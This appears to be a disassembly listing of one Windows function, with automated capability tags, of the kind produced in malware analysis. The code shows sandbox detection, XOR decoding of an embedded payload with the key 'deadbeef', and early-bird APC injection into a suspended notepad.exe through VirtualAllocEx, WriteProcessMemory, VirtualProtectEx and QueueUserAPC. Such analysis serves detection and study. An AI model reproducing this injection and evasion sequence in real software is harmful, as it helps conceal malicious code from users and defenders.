Function at 0x1400012b0
Capabilities:
Create process on windows
Create process suspended
Encode data using xor
Inject apc
Resume thread
Use process replacement

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0xf0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
xor edi, edi
mov qword [r11 - 0x28], rax
movups xmmword [r11 - 0x78], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [r11 - 0x68], xmm0
mov qword [rsp + 0x68], rdi
movups xmmword [r11 - 0x58], xmm0
movups xmmword [r11 - 0x48], xmm0
movups xmmword [r11 - 0x38], xmm0
movups xmmword [rsp + 0x50], xmm0
call fcn.140001070
test eax, eax
je 0x140001322
lea rcx, str.___Sandbox_detected__exiting__
call fcn.140001010
lea eax, [rdi - 1]
jmp 0x14000150d
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov edx, 2
lea rcx, [0x140005041]
lea r9, str.deadbeef
lea r8d, [rdx + 0x5a]
nop
lea rax, [rdx - 2]
and eax, 7
lea rcx, [rcx + 5]
movzx eax, byte [rax + r9]
xor byte [rcx - 6], al
lea rax, [rdx - 1]
and eax, 7
movzx eax, byte [rax + r9]
xor byte [rcx - 5], al
mov rax, rdx
and eax, 7
movzx eax, byte [rax + r9]
xor byte [rcx - 4], al
lea rax, [rdx + 1]
and eax, 7
movzx eax, byte [rax + r9]
xor byte [rcx - 3], al
lea rax, [rdx + 2]
and eax, 7
add rdx, 5
movzx eax, byte [rax + r9]
xor byte [rcx - 2], al
sub r8, 1
jne 0x140001340
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, str.C:WindowsSystem32_notepad.exe
lea rax, [rsp + 0x70]
xor edx, edx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400013f6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcess_failed___d_._n
call fcn.140001010
mov eax, 1
jmp 0x14000150d
mov rcx, qword [rsp + 0x50]
xor edx, edx
mov r9d, 0x3000
mov qword [rsp + 0x100], rbx
mov r8d, 0x1cc
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
jne 0x140001443
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.VirtualAllocEx_failed___d_._n
call fcn.140001010
lea eax, [rbx + 1]
jmp 0x140001505
mov rcx, qword [rsp + 0x50]
lea r8, [0x140005040]
mov r9d, 0x1cc
mov qword [rsp + 0x20], rdi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001485
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.WriteProcessMemory_failed___d_._n
call fcn.140001010
mov eax, 1
jmp 0x140001505
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x68]
mov r9d, 0x20
mov qword [rsp + 0x20], rax
mov r8d, 0x1cc
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1400014c8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.VirtualProtectEx_failed___d_._n
call fcn.140001010
mov eax, 1
jmp 0x140001505
mov rdx, qword [rsp + 0x58]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
jne 0x1400014f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.QueueUserAPC_failed___d_._n
call fcn.140001010
mov eax, 1
jmp 0x140001505
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
mov rbx, qword [rsp + 0x100]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140001540
add rsp, 0xf0
pop rdi
ret